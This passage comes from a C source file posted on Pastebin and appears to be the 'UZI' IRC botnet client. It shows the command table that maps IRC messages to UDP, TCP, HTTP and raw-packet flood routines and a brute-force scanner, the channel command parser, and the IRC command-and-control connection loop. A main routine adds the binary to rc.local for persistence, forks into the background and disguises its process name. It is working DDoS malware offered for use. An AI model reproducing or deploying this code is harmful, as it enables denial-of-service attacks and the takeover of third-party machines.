  2168.     }
  2169. }
  2170.  
  2171. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  2172.     { "QUDP", udpbiatch },
  2173.     { "QTCP", sendTCP},
  2174.     { "STD", regstd},
  2175.     { "TSTD", threadstd},
  2176.     { "QHOLD", hold },
  2177.     { "QJUNK", junk },
  2178.     { "RUDP", rawUDP },
  2179.     { "UZIBRUTE", uziscanstart },
  2180.     { "NICK", nickc },
  2181.     { "UZIMUSTDIE", killd },
  2182.     { "HTTPFLOOD", HTTP },
  2183.     { "KILLALL", killall },
  2184.     { "HELP", help },
  2185.     { "PACKETSIZECHANGE", train_ps },
  2186.     { "MAXBOOTCHANGE", max_bt },
  2187.     { "MAXATTACKTHREADS", max_threads },
  2188.     { (char *)0, (void (*)(int,char *,int,char **))0 } };
  2189.  
  2190. void _PRIVMSG(int sock, char *sender, char *str) {
  2191.         int i;
  2192.         char *to, *message;
  2193.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  2194.         str[i]=0;
  2195.         to=str;
  2196.         message=str+i+2;
  2197.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  2198.         sender[i]=0;
  2199.         if (*message == '!' && !strcasecmp(to,chan)) {
  2200.                 char *params[12], name[1024]={0};
  2201.                 int num_params=0, m;
  2202.                 message++;
  2203.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  2204.                 message[i]=0;
  2205.                 if (strwildmatch(message,nick)) return;
  2206.                 message+=i+1;
  2207.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock, "NOTICE %s :Unable to comply.\n", sender); else Send(sock, "%s\n",message+4);
  2208.                 m=strlen(message);
  2209.                 for (i=0;i<m;i++) {
  2210.                         if (*message == ' ' || *message == 0) break;
  2211.                         name[i]=*message;
  2212.                         message++;
  2213.                 }
  2214.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  2215.                 num_params++;
  2216.                 if (num_params > 10) num_params=10;
  2217.                 params[0]=name;
  2218.                 params[num_params+1]="\0";
  2219.                 m=1;
  2220.                 while (*message != 0) {
  2221.                         message++;
  2222.                         if (m >= num_params) break;
  2223.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  2224.                         params[m]=(char*)malloc(i+1);
  2225.                         strncpy(params[m],message,i);
  2226.                         params[m][i]=0;
  2227.                         m++;
  2228.                         message+=i;
  2229.                 }
  2230.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  2231.                         if (!strcasecmp(flooders[m].cmd,name)) {
  2232.                                 flooders[m].func(sock,sender,num_params-1,params);
  2233.                                 for (i=1;i<num_params;i++) free(params[i]);
  2234.                                 return;
  2235.                         }
  2236.                 }
  2237.         }
  2238. }
  2239. void _376(int sock, char *sender, char *str) {
  2240.         Send(sock,"MODE %s -xi\n",nick);
  2241.         Send(sock,"JOIN %s :%s\n",chan,key);
  2242.         Send(sock,"WHO %s\n",nick);
  2243. }
  2244. void _PING(int sock, char *sender, char *str) {
  2245.         Send(sock,"PONG %s\n",str);
  2246. }
  2247. void _352(int sock, char *sender, char *str) {
  2248.         int i,d;
  2249.         char *msg=str;
  2250.         struct hostent *hostm;
  2251.         unsigned long m;
  2252.         for (i=0,d=0;d<5;d++) {
  2253.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  2254.                 if (i == strlen(str)) return;
  2255.         }
  2256.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  2257.         msg[i]=0;
  2258.         if (!strcasecmp(msg,nick) && !spoofsm) {
  2259.                 msg=str;
  2260.                 for (i=0,d=0;d<3;d++) {
  2261.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  2262.                         if (i == strlen(str)) return;
  2263.                 }
  2264.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  2265.                 msg[i]=0;
  2266.                 if ((m = inet_addr(msg)) == -1) {
  2267.                         if ((hostm=gethostbyname(msg)) == NULL) {
  2268.                                
  2269.                                 return;
  2270.                         }
  2271.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  2272.                 }
  2273.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  2274.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  2275.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  2276.                 ((char*)&spoofs)[0]=0;
  2277.                 spoofsm=256;
  2278.         }
  2279. }
  2280. void _433(int sock, char *sender, char *str) {
  2281.         free(nick);
  2282.         nick=makestring();
  2283. }
  2284. void _NICK(int sock, char *sender, char *str) {
  2285.     int i;
  2286.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  2287.         sender[i]=0;
  2288.     if (!strcasecmp(sender,nick)) {
  2289.         if (*str == ':') str++;
  2290.         if (nick) free(nick);
  2291.         nick=strdup(str);
  2292.     }
  2293. }
  2294. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  2295.         { "352", _352 },
  2296.         { "376", _376 },
  2297.         { "433", _433 },
  2298.         { "422", _376 },
  2299.         { "PRIVMSG", _PRIVMSG },
  2300.         { "PING", _PING },
  2301.     { "NICK", _NICK },
  2302. { (char *)0, (void (*)(int,char *,char *))0 } };
  2303. void con() {
  2304.         struct sockaddr_in srv;
  2305.         unsigned long ipaddr,start;
  2306.         int flag;
  2307.         struct hostent *hp;
  2308. start:
  2309.     sock=-1;
  2310.     flag=1;
  2311.     if (changeservers == 0) server=servers[rand()%numservers];
  2312.     changeservers=0;
  2313.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  2314.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  2315.         if ((hp = gethostbyname(server)) == NULL) {
  2316.             server=NULL;
  2317.             close(sock);
  2318.             goto start;
  2319.         }
  2320.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  2321.     }
  2322.     else srv.sin_addr.s_addr=inet_addr(server);
  2323.         srv.sin_family = AF_INET;
  2324.         srv.sin_port = htons(cnport);
  2325.     ioctl(sock,FIONBIO,&flag);
  2326.     start=time(NULL);
  2327.     while(time(NULL)-start < 10) {
  2328.         errno=0;
  2329.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  2330.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  2331.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  2332.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  2333.             return;
  2334.         }
  2335.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  2336.         sleep(1);
  2337.     }
  2338.     server=NULL;
  2339.     close(sock);
  2340.     goto start;
  2341. }
  2342. int main(int argc, char **argv) {
  2343.         printf("UZI\n");
  2344.         int on,i;
  2345.         char cwd[256],*str;
  2346.         FILE *file;
  2347. #ifdef STARTUP
  2348.     str="/etc/rc.d/rc.local";
  2349.     file=fopen(str,"r");
  2350.     if (file == NULL) {
  2351.         str="/etc/rc.conf";
  2352.         file=fopen(str,"r");
  2353.     }
  2354.         if (file != NULL) {
  2355.                 char outfile[256], buf[1024];
  2356.                 int i=strlen(argv[0]), d=0;
  2357.                 getcwd(cwd,256);
  2358.                 if (strcmp(cwd,"/")) {
  2359.                         while(argv[0][i] != '/') i--;
  2360.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2361.                         while(!feof(file)) {
  2362.                                 fgets(buf,1024,file);
  2363.                                 if (!strcasecmp(buf,outfile)) d++;
  2364.                         }
  2365.                         if (d == 0) {
  2366.                                 FILE *out;
  2367.                                 fclose(file);
  2368.                                 out=fopen(str,"a");
  2369.                                 if (out != NULL) {
  2370.                                         fputs(outfile,out);
  2371.                                         fclose(out);
  2372.                                 }
  2373.                         }
  2374.                         else fclose(file);
  2375.                 }
  2376.                 else fclose(file);
  2377.         }
  2378. #endif
  2379.         if (fork()) exit(0);
  2380.         getOurIP();
  2381. #ifdef FAKENAME
  2382.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  2383.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  2384. #endif
  2385.         srand((time(NULL) ^ getpid()) + getppid());
  2386.         nick=makestring();
  2387.         ident=BOTident;
  2388.         user=BOTuser;
  2389.         chan=CHAN;
  2390.     key=KEY;
  2391.     server=NULL;
  2392. sa:
  2393. #ifdef IDENT
  2394.         for (i=0;i<numpids;i++) {
  2395.                 if (pids[i] != 0 && pids[i] != getpid()) {
  2396.                         kill(pids[i],9);
  2397.             waitpid(pids[i],NULL,WNOHANG);
  2398.                 }
  2399.         }
  2400.     pids=NULL;
  2401.     numpids=0;
  2402.     identd();
  2403. #endif
  2404.     con();
  2405.         Send(sock, "NICK [%s|%s]%s\nUSER %s localhost localhost :%s\n", PREFIX, getBuild(), nick, user, ident);
  2406.         while(1) {
  2407.                 unsigned long i;
  2408.                 fd_set n;
  2409.                 struct timeval tv;
  2410.                 FD_ZERO(&n);
  2411.                 FD_SET(sock,&n);
  2412.                 tv.tv_sec=60*20;
  2413.                 tv.tv_usec=0;
  2414.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  2415.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  2416.                         unsigned int *newpids,on;
  2417.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  2418.             pids[on-1]=0;
  2419.                         numpids--;
  2420.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  2421.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  2422.                         free(pids);
  2423.                         pids=newpids;
  2424.                 }
  2425.                 if (FD_ISSET(sock,&n)) {
  2426.                         char buf[4096], *str;
  2427.                         int i;
  2428.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  2429.                         buf[i]=0;
  2430.                         str=strtok(buf,"\n");
  2431.                         while(str && *str) {
  2432.                                 char name[1024], sender[1024];
  2433.                                 filter(str);
  2434.                                 if (*str == ':') {
  2435.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  2436.                                         str[i]=0;
  2437.                                         strcpy(sender,str+1);
  2438.                                         strcpy(str,str+i+1);
  2439.                                 }
  2440.                                 else strcpy(sender,"*");
  2441.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  2442.                                 str[i]=0;
  2443.                                 strcpy(name,str);
  2444.                                 strcpy(str,str+i+1);
  2445.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  2446.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  2447.                                 str=strtok((char*)NULL,"\n");
  2448.                         }
  2449.                 }
  2450.         }
  2451.         return 0;
  2452. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!